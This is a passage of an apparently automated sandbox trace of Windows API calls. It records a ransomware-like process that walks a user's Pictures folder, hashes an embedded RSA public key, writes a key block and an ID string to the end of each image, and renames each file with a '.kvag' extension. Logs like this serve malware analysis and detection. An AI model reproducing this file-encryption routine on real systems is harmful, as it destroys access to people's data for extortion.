lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.864] CloseHandle (hObject=0x61c) returned 1 [0119.865] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8WI455-IeTtDu5ufHo.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8wi455-iettdu5ufho.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\8WI455-IeTtDu5ufHo.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\8wi455-iettdu5ufho.bmp.kvag")) returned 1 [0119.866] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x350fcf40, ftCreationTime.dwHighDateTime=0x1d4c8a3, ftLastAccessTime.dwLowDateTime=0x4e549e00, ftLastAccessTime.dwHighDateTime=0x1d4d35b, ftLastWriteTime.dwLowDateTime=0x4e549e00, ftLastWriteTime.dwHighDateTime=0x1d4d35b, nFileSizeHigh=0x0, nFileSizeLow=0x7962, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AIlA315n8k.jpg", cAlternateFileName="AILA31~1.JPG")) returned 1 [0119.867] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AIlA315n8k.jpg") returned=".jpg" [0119.867] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AIlA315n8k.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\aila315n8k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.867] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=31074) returned 1 [0119.867] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.869] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x793c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.869] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.872] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x7962, lpOverlapped=0x0) returned 1 [0119.872] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.872] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.872] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.872] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0119.873] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.873] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.873] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.873] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.873] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.873] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0119.873] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.873] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.873] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.874] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.874] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7962, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.874] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.874] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.874] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.874] CloseHandle (hObject=0x61c) returned 1 [0119.875] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AIlA315n8k.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\aila315n8k.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AIlA315n8k.jpg.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\aila315n8k.jpg.kvag")) returned 1 [0119.876] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1257aa0, ftCreationTime.dwHighDateTime=0x1d4cab6, ftLastAccessTime.dwLowDateTime=0xc32e71d0, ftLastAccessTime.dwHighDateTime=0x1d4ca12, ftLastWriteTime.dwLowDateTime=0xc32e71d0, ftLastWriteTime.dwHighDateTime=0x1d4ca12, nFileSizeHigh=0x0, nFileSizeLow=0x1020a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ANRz7BiMGjif1lT.jpg", cAlternateFileName="ANRZ7B~1.JPG")) returned 1 [0119.876] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ANRz7BiMGjif1lT.jpg") returned=".jpg" [0119.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ANRz7BiMGjif1lT.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\anrz7bimgjif1lt.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.877] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=66058) returned 1 [0119.877] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.878] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x101e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.878] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.880] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1020a, lpOverlapped=0x0) returned 1 [0119.881] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.881] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.881] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.881] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.882] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.882] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.882] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.882] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.882] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.882] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.882] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.882] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.882] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.882] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.883] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1020a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.883] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.883] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.883] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.883] CloseHandle (hObject=0x61c) returned 1 [0119.884] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ANRz7BiMGjif1lT.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\anrz7bimgjif1lt.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ANRz7BiMGjif1lT.jpg.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\anrz7bimgjif1lt.jpg.kvag")) returned 1 [0119.885] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x786c6210, ftCreationTime.dwHighDateTime=0x1d4cf71, ftLastAccessTime.dwLowDateTime=0xfecc88a0, ftLastAccessTime.dwHighDateTime=0x1d4cf1f, ftLastWriteTime.dwLowDateTime=0xfecc88a0, ftLastWriteTime.dwHighDateTime=0x1d4cf1f, nFileSizeHigh=0x0, nFileSizeLow=0x1838f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BdqNz1PxzX3wOPjw.png", cAlternateFileName="BDQNZ1~1.PNG")) returned 1 [0119.885] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BdqNz1PxzX3wOPjw.png") returned=".png" [0119.885] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BdqNz1PxzX3wOPjw.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bdqnz1pxzx3wopjw.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.886] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=99215) returned 1 [0119.886] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.887] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18369, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.887] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.889] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1838f, lpOverlapped=0x0) returned 1 [0119.890] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.890] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.890] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.890] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.891] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.891] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.891] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.891] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.891] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.891] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.891] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.891] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.891] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.891] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0119.892] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1838f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.892] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.892] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.892] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.892] CloseHandle (hObject=0x61c) returned 1 [0119.893] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BdqNz1PxzX3wOPjw.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bdqnz1pxzx3wopjw.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BdqNz1PxzX3wOPjw.png.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bdqnz1pxzx3wopjw.png.kvag")) returned 1 [0119.895] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80afca0, ftCreationTime.dwHighDateTime=0x1d4cda6, ftLastAccessTime.dwLowDateTime=0xe05415b0, ftLastAccessTime.dwHighDateTime=0x1d4d284, ftLastWriteTime.dwLowDateTime=0xe05415b0, ftLastWriteTime.dwHighDateTime=0x1d4d284, nFileSizeHigh=0x0, nFileSizeLow=0x186f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bEXqr-0RskHd.bmp", cAlternateFileName="BEXQR-~1.BMP")) returned 1 [0119.895] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\bEXqr-0RskHd.bmp") returned=".bmp" [0119.895] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\bEXqr-0RskHd.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bexqr-0rskhd.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.896] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=100088) returned 1 [0119.896] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.897] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x186d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.897] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.898] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x186f8, lpOverlapped=0x0) returned 1 [0119.899] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.899] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.899] lstrlenA (lpString="-----BEGIN PUBLIC 